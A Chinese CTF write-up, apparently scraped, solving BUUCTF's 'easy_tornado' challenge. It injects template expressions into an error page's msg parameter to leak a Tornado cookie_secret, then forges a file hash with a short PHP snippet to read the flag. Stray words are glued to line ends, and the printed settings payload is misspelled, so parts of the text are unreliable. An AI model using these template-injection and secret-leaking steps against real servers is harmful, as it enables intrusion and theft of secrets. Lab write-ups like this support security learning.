有关于服务端模板注入（ssti攻击）——BUUCTF - easy_tornado

时间 2019-11-07

标签关于服务模板注入 ssti 攻击 buuctf easy tornado 栏目系统网络繁體版

原文原文链接

打开题目出现3个连接php

/flag.txt 中提示flag in /fllllllllllllagnode

/welcome.txt 中提示 renderpython

/hints.txt 中提示 md5(cookie_secret+md5(filename))cookie

直接访问/fllllllllllllag失败。tornado

百度了render可知，render是python的一个模板，他们的url都是由filename和filehash组成，filehash即为他们filename的md5值。url

当filename或filehash不匹配时，将会跳转到http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg=Error 页面.spa

因此想到须要获取cookie_secret来获得filehashblog

存在msg参数，百度以后发现师傅们能够进行模块注入。尝试了error?msg={{1}}，发现的确存在模块注入。md5

尝试搜索tornado cookie_secret。发现cookie_secret存放在handler.settings中。hash

因而构建payload

http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg={{hendler_settings}}

获得'cookie_secret': '2cdad0e1-16ac-4881-861a-daecaa637c2c'

因而用php写代码获取filehash值

<?php

$cookie_secret='2cdad0e1-16ac-4881-861a-daecaa637c2c';

$filename = '/fllllllllllllag';

$go = md5($cookie_secret . md5($filename));

echo $go;

再次构建payload

http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/file?filename=/fllllllllllllag&filehash=98b8d02691da0221fc3fc43498a181d4

获得flag